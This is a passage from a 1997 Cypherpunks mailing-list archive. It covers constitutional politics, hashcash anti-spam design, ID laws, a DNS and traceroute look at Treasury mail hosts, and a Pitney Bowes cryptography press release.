Almost from the start of our nation, the actions of the Federal branches have proven that the Anti-Federalists were right, that the Constitution (as accepted) would not prevent their power grab.  Wasn't it Article 2, Section 18 which was intended to prevent such abuse, and which was easily overcome by the SC's liberal interpretation in Maubery vs. Madison?  

Little has changed, nor it it likely to, within the system.  There's too much inertia and entrenched economic and political interest, including the electorate's acquiessence to limitations of their liberties in exchange for real or imagined protection from harm.  I can think of no instance when changes, of the magnitude of which you speak, were made during a peaceful transition.  Can you?

>Jim Choate wrote:
>The difference is that I believe the system can be fixed, yes it will take
>time, yes it will require a certain level of jamming unsavory morsels of the
>Constitution down some tyrants throats; but it is doable.
>

[snip]
>If you or anyone else doesn't like the way it works then get an amendment
>passed that changes the way the rules operate.
>
>In short my main bitch is that the Supreme Court of the US doesn't say
>"Ain't our problem" nearly enough and when it does speak the question it
>should be asking is "Does the Constitution allow this power to the federal
>govt. within the constraints of the 9th and 10th?". Neither Congress or
>the Supreme Court act in a manner to honor either the letter or the spirit
>of the Constitution and in particular the 9th and 10th Amendments.
>
>I believe that *every* federal law and regulation *must* be able to
>demonstrate its lineage from one or more sentences in the Constitution
>before it is applicable and legal by the 10th.
>
>Personaly, I want to bring charges against Congress and the Supreme Court of
>the US for actions contrary to those granted them under the Constitution. In
>short, I want to impeach the whole kit and kaboodle.


--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 16 Dec 1997 10:45:09 +0800
To: cypherpunks@ssz.com
Subject: Re: wilkenrules.html
In-Reply-To: <3.0.32.19691231160000.006ecfb0@shell15.ba.best.com>
Message-ID: <v03102809b0bb82a3a480@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/enriched

 At 10:41 AM -0800 12/14/1997, geeman@best.com wrote:
>This entire issue speaks to whether we neeed government or not.  The power
>of the judiciary is part and parcel of the power of Government, and in many
>cases -this is an excellent example- is all that stands between The
>Oligarchy and Freedom.
>
>Imagine if there _were_ no government per-se, and it was the Disney, or
>Westinghouse, or GE, or whoever the fuck, corporate security forces taking
>action on their own against FRB.

Yes, you might have a situation similar to that in Neal Stephenson's Snow Crash.

--Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matt Elliott <melliott@ncsa.uiuc.edu>
Date: Tue, 16 Dec 1997 07:34:57 +0800
To: cypherpunks@toad.com
Subject: Re: The Joys of Being Canadian
In-Reply-To: <Pine.GSO.3.95.971124115725.29334B-100000@cp.pathfinder.com >
Message-ID: <v04002e0ab0bb69fb26c1@[141.142.103.240]>
MIME-Version: 1.0
Content-Type: text/plain



>Cable Company Rep:  "What's your Social Security number?
>Answer:  "I don't have one.  I'm Canadian."

For my cable company I asked why they wanted it.  For a security check when
you call in was the response.  Does it need to be an actuall social
security number?  No, just something you can remember when you call up.

012-01-0123 I replied.  They were quite happy to use that as my "Social
Security Number" in their database.    As far as cable goes they don't want
your social security number.  I wonder how many others would be happy to
substitute something.




Matt <mailto:melliott@itmail.ncsa.uiuc.edu>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kozmo killah <k0zm0z@yahoo.com>
Date: Tue, 16 Dec 1997 09:32:03 +0800
To: cypherpunks@toad.com
Subject: ENCRYPT XXX PICZ
Message-ID: <19971216011706.25938.rocketmail@send1b.yahoomail.com>
MIME-Version: 1.0
Content-Type: text/plain








D3AR S|RZ,

H0W D0 | ENCRYPT NUDIE GIFS?

W3RD
_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 16 Dec 1997 01:31:08 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
In-Reply-To: <a3VcpW2klLwAYskYVqKWcw==@bureau42.ml.org>
Message-ID: <199712151722.SAA11051@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <nobody@bureau42.ml.org> writes:

> On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote:

>> It is interesting to note that the emails from 
>> treasury.gov constituted the same type of 'threat' that 
>> Bell was roundly accused of by government officials and 
>> the press.

> I've seen brief mention of this before, but have never seen 
> any details on the list. Aside from Jim Choate questioning
> my arithmetic or attention span, would anyone be kind enough
> to provide pointers to information about incidents of c-p
> list members having received unsolicited email from .gov?

Check the archives.  There was plenty of discussion when it happened.

I'm convinced they used names pulled out of Bell's computer, not a
cypherpunks subscriber list as they sent my copy of the SPAM to an
email address that had long been retired at the time of the mailing,
but had been used to exchange email with Jim.  Far more active list
members than I didn't get a copy.

> Declan, did you catch a whiff of this when it happened? I 
> would think everyone's alarm bells would have gone off and 
> people would have been intensely interested in the messages 
> themselves, particularly the headers.

They did, and we were.  Here's a copy of one message I saved:

To: cypherpunks@algebra.com
Subject: gotcha (was Re: DEATH TO THE TYRANTS)
References: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com> <v03102800affc86bdca7e@[207.167.93.63]>
From: SL Baur <steve@xemacs.org>
In-Reply-To: Tim May's message of "Wed, 23 Jul 1997 21:21:48 -0700"
Date: 23 Jul 1997 22:18:12 -0700
Message-ID: <m2lo2xauzv.fsf_-_@altair.xemacs.org>

Tim May <tcmay@got.net> writes:

> Namely, who is "irsnwpr@net.insp.irs.gov" and what does he or she think of
> the "DEATH TO TYRANTS" subject header, sent to me (and maybe others).
 ...
>  The headers in the first of the messages I received were:

> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
> <tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
 ...
> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
> [204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28954 for
> <tcmay@got.net>; Fri, 18 Jul 1997 15:39:39 -0700

If those headers are forged, it is an expert forgery.

The MX hosts for the net.insp.irs.gov domain are fun:
net.insp.irs.gov        preference = 10, mail exchanger = tcs-gateway2.treas.gov
net.insp.irs.gov        preference = 20, mail exchanger = tcs-gateway1.treas.gov
net.insp.irs.gov        preference = 30, mail exchanger = gotcha.treas.gov
irs.gov nameserver = gotcha.treas.gov
irs.gov nameserver = nis.ans.net
irs.gov nameserver = ns.ans.net
tcs-gateway2.treas.gov  internet address = 204.151.246.2
tcs-gateway1.treas.gov  internet address = 204.151.245.2
gotcha.treas.gov        internet address = 204.151.246.80

`gotcha.treas.gov'?  It's a real host connected through ans.net ...

12  h10-1.t32-0.New-York.t3.ans.net (140.223.57.30)  139.839 ms  126.702 ms  125.82 ms
13  h11-1.t56-1.Washington-DC.t3.ans.net (140.223.57.21)  147.248 ms  124.774 ms  118.815 ms
14  f0-0.cnss60.Washington-DC.t3.ans.net (140.222.56.196)  192.54 ms  125.939 ms  166.529 ms
15  enss3080.t3.ans.net (192.103.66.18)  130.917 ms  131.057 ms  145.377 ms
16  gotcha.treas.gov (204.151.246.80)  133.065 ms  134.345 ms  131.596 ms

Except for hop 16, this is the same traceroute as to
tcs-gateway2.treas.gov.  For what it's worth, the traceroute to
tcs-gateway1 is slightly different:

 8  h13-1.t16-0.Los-Angeles.t3.ans.net (140.223.9.14)  44.997 ms  51.526 ms  51.875 ms
 9  h14-1.t112-0.Albuquerque.t3.ans.net (140.223.17.10)  60.895 ms  60.426 ms  57.762 ms
10  h14-1.t64-0.Houston.t3.ans.net (140.223.65.9)  81.131 ms *  85.067 ms
11  h14-1.t80-1.St-Louis.t3.ans.net (140.223.65.14)  117.62 ms  100.623 ms  104.878 ms
12  h10-1.t60-0.Reston.t3.ans.net (140.223.61.13)  126.368 ms  136.017 ms  123.367 ms
13  f2-0.c60-10.Reston.t3.ans.net (140.223.60.220)  129.505 ms  128.214 ms  128.52 ms
14  enss3079.t3.ans.net (204.148.66.66)  134.707 ms  162.912 ms  160.774 ms
15  tcs-gateway1.treas.gov (204.151.245.2)  154.268 ms *  155.898 ms






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 16 Dec 1997 03:21:42 +0800
To: cypherpunks@ssz.com
Subject: Re: hashcash spam prevention & firewalls
Message-ID: <199712151830.SAA02083@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk>:

> How about this alternative which achieves the same functionality and
> removes the juicy supeona target:

> Turn on hashash database for all mails.  That means hashcash gets put
> in the database to prevent double spending. ....

> So now when you reply to a message, on it's way out via the mail hub,
> you remove that hashcash token from the double spending database.
> This means that the sender can cache sent hashcash tokens, and re-use
> them when after he gets a reply.

Doesn't this invite the spammer to Bcc an accomplice with the
target ISP ?  The accomplice replies; thereby freeing the coin
for reuse.

> I am told by one subscriber to look at TIS firewall toolkits imap
> program.

You may have meant "smap".

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 16 Dec 1997 08:40:54 +0800
To: "Tim May" <cypherpunks@Algebra.COM>
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part I of II
Message-ID: <199712160027.TAA08624@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/14/97 6:54 PM, Tim May (tcmay@got.net)  passed this wisdom:

>But note that there absolutely is no requirement in the United 
>States for ageneral form of identification. Non-drivers need not 
>have any form of I.D. And as we have seen in court cases, a la 
>Lawson v. Kolender (where a blackman in dreadlocks used to like to 
>walk the streets of San Diego...the copsstopped him many times and 
>jailed him for not having I.D. on him...the court ruled that people 
>don't have to present credentials issued by the state to walk the 
>public streets). 

  In New Jersey there is a criminal offense called "failure to
properly identify" ... I don't know if its ever been tested, or if it
is still on the books, but as of ten years ago it was there. I think
it was a misdemeanor (in NJ the term is "petty disorderly persons
offense) I cannot imagine it as a felony.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJXIij7r4fUXwraZAQEMvAf9FzhcodfycwA3BSV4cB5nPAqyR+6+hguK
9VG1/b7CEvEyZleD1HzRbB7i8+ycwxvtZr959FPpume5LW3eWhSsVGLEb8A9EzW3
FQXqmxa6X6LLUcPIrhfSaO8JQdPV0LXOfXwW7ZZh7s02pUmTRgpXOuM5MdHSf0nG
kKTGntI5JbaEmDgvyANXETV4EomZ/0Zm3zJiGw3M9G4aZpFl3LIgFPcOUSY1MwJI
TMGbNCS/DveeAhmM2J+oa8DbUwqVYGGhA27YHNve5rtxqkDbobsF9OMY8ssU70D0
K0uHEq+ZoobSlNHHrFP+I52RxXiKtP4blGxn8riYmjBp8H4ih6Hsbw==
=41Ml
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "to be yourself in a world that tries, night and day, to make you just
   like everybody else - is to fight the greatest battle there ever is to
   fight and keep on fighting"  - e.e. cummings






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Uhh...this is Joe [Randall Farmer]" <rfarmer@HiWAAY.net>
Date: Tue, 16 Dec 1997 10:21:51 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971215000953.03767450@mail.atl.bellsouth.net>
Message-ID: <Pine.OSF.3.96.971215191057.2159A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



...
> I find this concept to have problems. 

Yah, so do I...I don't like things that allow abuse of discretion, but I
thought it was necessary -- I didn't know hashcash could be prepackaged when I
posted this. 

It's a moot point since it's not needed anyway, but if morbid curiosity
overwhelms you, read on...To summarize, no single organization would certify
remailers, not all hosts would need to be certified, and banning remailers
wouldn't be any harder than it is today. 

===============================================================================

...
> This whitelist concept, that if I am "good" I get approved and certified
> smacks of things which I generally oppose.  And who keeps the whitelist? 
> CAUCE?  Verisign?  Time Magazine?  The NSA?  Microsoft? 

Well, the intention was for no single organization to certify remailers, but
rather to distribute the responsibility among anyone who can be trusted not to
certify a spammer. Individual gateways could choose whose certifications they
trusted if they thought some authorities were too restrictive or thought spam
was seeping through. Yes, I'd imagine CAUCE and Verisign (along with Infonex,
nym.alias.net, etc.) would try to set themselves up as authorities. NSA
wouldn't because they don't like remailers at all (except for those
identity-escrowed FORTEZZA-powered Big-Brother-friendly ones, which wouldn't
get users anyhow :). 

> 
> How much would it cost for each of the 50K mail hosts to become certified?
> This is an administrative nightmare.

Not all hosts, just high-traffic ones for which other solutions (having users
exempt them from hashcash [for mailing lists] and having heavy users generate
their own hashcash [for ISPs]) won't work. This basically means remailers.

...
> 
> Currently remailers can send mail most anywhere.  I suspect that if remailers
> had to get certified (say a RASCi rating of "remailer") 

The certification scheme wasn't designed for rating but rather to let cracker
get by on less than 44 CPU-hours a day. 

> most mail hosts would begin denying mail from remailers. 

They could already. Get Raph Levien's list and block mail from those addresses; 
unlisted remailers would be found soon enough. If you also used the
certification for some arbitrary non-remailer, non-spam servers, it would
probably be harder to use certification to ban remailers than to use the
remailer list.

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 16 Dec 1997 12:16:49 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part I of II
In-Reply-To: <199712160027.TAA08624@mx01.together.net>
Message-ID: <3.0.5.32.19971215201354.03e20100@208.139.48.24>
MIME-Version: 1.0
Content-Type: text/plain



>>But note that there absolutely is no requirement in the United 
>>States for ageneral form of identification. Non-drivers need not 
>>have any form of I.D. And as we have seen in court cases, a la 
>>Lawson v. Kolender (where a blackman in dreadlocks used to like to 
>>walk the streets of San Diego...the copsstopped him many times and 
>>jailed him for not having I.D. on him...the court ruled that people 
>>don't have to present credentials issued by the state to walk the 
>>public streets). 
>
>  In New Jersey there is a criminal offense called "failure to
>properly identify" ... I don't know if its ever been tested, or if it
>is still on the books, but as of ten years ago it was there. I think
>it was a misdemeanor (in NJ the term is "petty disorderly persons
>offense) I cannot imagine it as a felony.

There's an important distinction between a requirement that you identify
yourself accurately, and a requirement that you carry a particular form of
identification. It is constitutional for the police to ask you what your
name is, under certain circumstances - and you can face criminal charges if
you lie. It is not, however, constitutional to require that you keep or
carry identity cards or documents. (Modulo, of course, participation in
activities like carrying a concealed weapon or driving. There are some
people who believe that carrying special credentials should not be required
when undertaking those activities, but very few or none of those people sit
as judges, so their beliefs are comforting or pleasing but also
insufficient to prevent conviction.) 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Uhh...this is Joe [Randall Farmer]" <rfarmer@HiWAAY.net>
Date: Tue, 16 Dec 1997 11:06:25 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: message dependent hashcash => no double spend database  (Re: hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net>
Message-ID: <Pine.OSF.3.96.971215201234.10553A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



...
> As a technological fix for spam, destination address hashcash seems to be
> lacking.  All this does is raise the wall of entry into becoming a
> spamhause from one PC to say, ten.  It is not much more difficult to sell a
> CD-ROM with one million email addresses & hashcash.   A 20 second hashcash
> expenditure on one million email addresses will take about 231 CPU days, or
> about three weeks if you use ten machines.  Sell 500 copies of the CD-ROM
						   ^^^^^^^^^^ 
Hashcash has a double-spending database to prevent this -- one use and you've
got to wait until it's out of the database (quite possibly a long time) before
you can reuse it.

...
> The implementation of the plan is a more or less impossible scheme. 

Nyet. It can be phased in over time...people install the software, mailing
lists warn their users to exempt them, and the big servers start asking for the
hashcash, little servers pick it up. 

...
> privacy problems with warehousing with your ISP a list of your other email
> addresses, or the addresses of your postage free friends.  

This's already been addressed.

> Changes to the "Don't charge postage" database will be awkward.  

Well, it wouldn't be much trickier than a Pine address book (few things are :) 
or a killfile.

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 16 Dec 1997 04:46:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part I
In-Reply-To: <v03102800b0ba5b85ccf7@[207.167.93.63]>
Message-ID: <9712152040.AA60664@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> >Sounds like a good way to sap some of the energy from the cp list.
> [...]
> But I didn't expect someone to post the subscription instructions
> (anonymously, of course). Hint: it wasn't I.

Me neither, but it's no big surprise that the instructions didn't
remain secret for long.  Posting supposedly secret information is one
of the things remailers have been build for, after all.

It is precisely for that reason that the don't-forward policy will not
protect anyone.  If you are saying something controversial, people
will forward it, if you like it or not.  (Remailers will protect you,
because they allow you to send messages without your `identity'
attached.)

Anyway, I don't expect the new list to sap energy from the cypherpunks
list -- rather the contrary.  For example, Tim probably wouldn't have
written his essay (and posted it to cypherpunks), if not for the Nym
list.  Declan managed to get together a number of people who haven't
been seen on cypherpunks for years, if ever.  Allowing posters (as
opposed to readers, see above) on invitation only doesn't seem too bad
to me.  The Nym list promises to be interesting.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Wed, 17 Dec 1997 04:33:38 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part  I of II
In-Reply-To: <199712160027.TAA08624@mx01.together.net>
Message-ID: <v03102804b0bbcd923f55@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:13 PM -0800 12/15/1997, Greg Broiles wrote:
>There's an important distinction between a requirement that you identify
>yourself accurately, and a requirement that you carry a particular form of
>identification. It is constitutional for the police to ask you what your
>name is, under certain circumstances - and you can face criminal charges if
>you lie. 

If you refuse to identify yourself to LE, how long can you be held (assuming their data base check turns up nothing.)

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@dueprocess.com>
Date: Tue, 16 Dec 1997 12:08:03 +0800
To: cypherpunks@toad.com
Subject: Re: The Joys of Being Canadian
In-Reply-To: <3.0.2.32.19971215163613.035c9b78@panix.com>
Message-ID: <3.0.3.32.19971215225418.0069f33c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 05:15 PM 12/15/97 -0600, Matt Elliott wrote:
>
>For my cable company I asked why they wanted it.  For a security check when
>you call in was the response.  Does it need to be an actuall social
>security number?  No, just something you can remember when you call up.
>
>012-01-0123 I replied.  They were quite happy to use that as my "Social
>Security Number" in their database.    As far as cable goes they don't want
>your social security number.  I wonder how many others would be happy to
>substitute something.


When my cable company asked for my SSN, I told them that I was not going to
disclose it.  Of course, the refusal sent the lame-brain into a brain-dead
state. I finally volunteered that they could use my middle name for
verification purposes.  I could actually hear the "Thank you for solving
this problem!" in the employee's voice....




****************************************************************
Lynne L. Harrison, Esq.          |    Patience is a virtue;
Poughkeepsie, New York           |    Possess it if you can;
mailto:lharrison@dueprocess.com  |    Seldom in a woman;
http://www.dueprocess.com        |    Never in a man.
****************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 16 Dec 1997 12:32:56 +0800
To: cryptography@c2.net
Subject: Pitney Bowes Sponsors World's Only Center for AppliedCryptographic Research
Message-ID: <v04002702b0bbb17d7ea3@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: clairew@mediaone.net
Date: Mon, 15 Dec 1997 21:09:22 -0500
MIME-Version: 1.0
To: rah@shipwright.com
Subject: Pitney Bowes Sponsors World's Only Center for Applied
Cryptographic Research
X-Priority: 3 (Normal)

Pitney Bowes Sponsors World's Only Center for Applied Cryptographic
Research
 STAMFORD, Conn.--(BUSINESS WIRE)--Dec. 15, 1997--

    Messaging Leader Teams With The University of Waterloo,
    Certicom Corp. and The National Science Education and

    Research Council of Canada

    In an age of explosive growth of electronic commerce, effective
protection of data storage and communications is vital.

    Pitney Bowes Inc. (NYSE:PBI), is supporting and funding critical
research into protection of electronic commerce at one of the most
highly acclaimed academic sources of cryptographic knowledge, the
University of Waterloo in Ontario, Canada.

    Pitney Bowes is partnering with Certicom Corp. of Toronto,
to found the Centre for Applied Cryptographic Research at the
University of Waterloo.  Both companies are joined by the National
Science Education and Research Council of Canada (NSERC) and
Communication and Information Technology Ontario (CITO) in the
creation of two Industrial Research Chairs in Cryptography.

    Cryptographic research delves into the process of coding data
for its protection and secure transfer.  Cryptography, in all of its
applications including data confidentiality, data integrity, and
user authentication, is an extremely powerful tool for protecting
information.

    Increasing research and knowledge of cryptography can ultimately
increase the efficiency with which businesses operate and open up
new business opportunities.

    Cryptography is one of the keys to doing business in the 21st
century according to Dr. Joseph Wall, chief technology officer of
Pitney Bowes Inc.  "We are proud to help create this research center
and anticipate significant advances in the technology and its
understanding.  We look forward to combining these advances with our
understanding of business applications to deliver solutions which
enhance confidentiality, security and integrity in the electronic
marketplace.

    "Pitney Bowes has been researching and using cryptographic
applications to help customers securely transmit data and funds since
the 1960s.  Cryptography will continue to be one of our technological
cornerstones as we design solutions which help customers manage
efficiently in their information-rich environment."

    Pitney Bowes is one of the largest users of applied cryptography
in the world.  For example, cryptographic technology is an important
component in the system which Pitney Bowes used to securely download
over $10 billion in postage revenues worldwide in 1996.  Known
commercially as Postage by Phone(R), Pitney Bowes developed and patented

the system in the 1960s, received U.S. postal approval to introduce
it to the marketplace in 1978, and expanded its usage to a variety
of applications in 18 countries.

    The chair at the University of Waterloo will be established in
association with the Natural Sciences Engineering Research Council
(NSERC).  The NSERC/Pitney Bowes chairholder will be Dr. Scott
Vanstone, a faculty member at St. Jerome's College, University of
Waterloo and Chief Cryptographer of Certicom Corp.  Professor
Vanstone will take up the chair on Jan. 1, 1998.

    He is one of the world's leading cryptographers and is co-author
of the 1997 book Handbook of Applied Cryptography.  The other
chair at the University will be sponsored by Certicom Corp., which
researches, develops and licenses advanced cryptographic
technologies.  The Certicom/NSERC chair will be Dr. Douglas Stinson,
author of Cryptography: Theory and Practice.

    With regard to mathematical cryptography and combinatorics, the
University of Waterloo is the leading university in Canada and with
the establishment of the Centre for Applied Cryptographic Research,
will be one of the top research and educational facilities in the
world.  Along with the core research group of Dr. Vanstone and Dr.
Stinson,
Dr. Leon Pintsov of Pitney Bowes will be a member of the scientific
advisory board of the Centre.

    Pitney Bowes is a $3.9 billion provider of products and services
that support the efficient management of messages and packages in
physical and digital form.  for more information about the company,
visit the company's Web site at: http://www.pitneybowes.com .

    --30--CB/np*  JS/np    RG/KDB/ny

CONTACT:
Pitney Bowes, Stamford
Sheryl Y. Battles, 203/351-6808

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 16 Dec 1997 16:12:07 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: hashcash spam prevention & firewalls (fwd)
In-Reply-To: <199712131409.IAA22278@einstein.ssz.com>
Message-ID: <v03110735b0bbdec6d7cb@[207.94.249.114]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:09 AM -0800 12/13/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Fri, 12 Dec 1997 20:24:59 -0800
>> From: Bill Frantz <frantz@netcom.com>
>> Subject: Re: hashcash spam prevention & firewalls
>
>> I think there needs to be a story for mailing lists.  It might be
>> acceptable for the first pass to allow spamming of mailing lists but not of
>> individuals email addresses.  (Apologies in advance to list moderators.)
>
>We have a moderator? This is news to me and I suspect the other CDR
>operators. Who is this person please, I would very much like to discuss a
>couple of issues with them...

This isn't the only mailing list in the world.  Some lists do have moderators.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 16 Dec 1997 13:22:22 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Fw: Jim Bell Sentenced (fwd)
Message-ID: <199712160537.XAA05115@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 15 Dec 1997 16:57:22 -0800
> From: Steve Schear <schear@lvdi.net>
> Subject: Re: Fw: Jim Bell Sentenced (fwd)
> 
> I think both you and Bell are in relatively good agreement on the problem,=
>  differing mainly on the means of a solution.

Well that is the litmus test after all, not the goals but rather the means.

>  Although, like you I have=
>  never considerd engaging in acts of violence to right the wrongs in our=
>  legal structure,

I wouldn't say that. I just can't justify them unless under direct physical
attack. I am *not* a pacifist.

> I also do not believe that the changes you wish can=
>  reasonably be expected to be achieved through legal and democratic means=
>  within our lifetimes.

I hadn't really entertained the condition that the 'fight' necessarily has
to end in my life time. It certainly didn't end in Thomas Jeffersons. I do
know that if we don't try we have zero chance of gaining any of them, let
alone all of them. And who knows what the future may bring. Personaly I give
the US about 20 years before a general political - economic - societal
breakdown occurs. I believe that it will be even less violent but just as
radical a change as the fall of the CCCP. I further believe that movement
will *demand* ethical and reasonably justifiable reference to the respective
constitutional documents. I also believe that within about a period of 10
years there will be a significant increase in the number of federal
amendments clarifying many of the very issues we discuss today. I believe
many things will drive the change. Among them medical technology which will
re-grow cloned organs to replace any damaged or diseased ones you may have.
I suspect that instead of terra-forming people will clone themselves and
geneticaly engineer the embryo to adapt to the relevant environemt (Hint:
Dougal Dixon). I believe this technology will fine tune the legal issues we
ponder today to a fine edge. I believe the 9th and 10th will be recognized
for the defining tests of all federal, state, and individual jurisdictional
issues. I believe that as a result of those changes individuals will benefit
by being considered equaly with federal and state views.

> Almost from the start of our nation, the actions of the Federal branches=
>  have proven that the Anti-Federalists were right, that the Constitution (as=
>  accepted) would not prevent their power grab.  Wasn't it Article 2, Section=
>  18 which was intended to prevent such abuse, and which was easily overcome=
>  by the SC's liberal interpretation in Maubery vs. Madison? =20

I believe that people will recognize the totality of the current issues as
the exact same excesses. People will realize that the camp that demanded
specific bills of rights have the right idea. As a result we will get through
indipendant state action several amendments. Those movements will be very
goal specific and short lived. They will further depend on the Internet for
their existance. I believe they will start with individuals in specific
points across the US getting in touch and defining a small and specific set
of goals (ie Demonstrate constitutionaly that individuals have a right to
doctor assisted suicide and that it is an invasion of individual privacy.).
As those goals percolate via passive and active processes across the
Internet a commen experience will grow. An important question to consider:
How long must you hold a sufficient totality of state representation to
consider and pass a constitutional amendment?

> Little has changed, nor it it likely to, within the system.  There's too=
>  much inertia and entrenched economic and political interest, including the=
>  electorate's acquiessence to limitations of their liberties in exchange for=
>  real or imagined protection from harm.  I can think of no instance when=
>  changes, of the magnitude of which you speak, were made during a peaceful=
>  transition.  Can you?

No. However, that proves nothing. Simply because something has not happened
is no guarantee it won't happen. In all of human history this is the first
time that the Internet has existed, photon transportation didn't exist as a
verifiable process until just recently, there is now a movement in the dog
lovers camp to save clonable samples of favorite pets in the hopes of
cloning their best loved pooch. Technology as succesful as ours breeds a
technocracy if it doesn't kill us.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 16 Dec 1997 13:24:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Radio Free Cypherpunks... (fwd)
Message-ID: <199712160540.XAA05167@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 15 Dec 1997 15:49:40 -0800
> From: Steve Schear <schear@lvdi.net>
> Subject: Re: Radio Free Cypherpunks... (fwd)
> 
> Over a year ago I started a heated thread on the Telecom Regulation list,=
>  "Basis of FCC jurisdiction," which posited that the Commerce Clause basis=
>  for FCC authority might not hold for very low power and tens of GHz=
